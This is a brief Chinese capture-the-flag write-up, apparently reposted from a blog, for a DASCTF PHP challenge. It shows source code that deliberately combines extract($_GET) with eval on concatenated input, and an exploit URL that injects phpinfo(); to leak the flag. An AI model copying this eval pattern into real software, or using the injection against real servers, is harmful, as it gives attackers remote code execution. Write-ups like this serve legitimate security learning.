[DASCTF Oct] 迷路的魔法少女

简单的代码注入,但是因为太懒了,十月打的比赛十一月底才想起来写个Wp,以后再也不当懒狗了
题目:

<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
}

String2Array($attrstr); 

String2Array()处存在一个代码执行点,然后下面的就是一个简单的语句拼接,本地测一下就可以实现代码注入,最终构造出:
http://5d3c1779-4050-423d-8a56-405a2aa1a462.node4.buuoj.cn:81/?attrid[]=0&attrvalue[]=0&attrstr=phpinfo();//
然后在phpinfo的常量中找到flag:
image

[ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

原文地址:https://www.cnblogs.com/yesec/p/15599132.html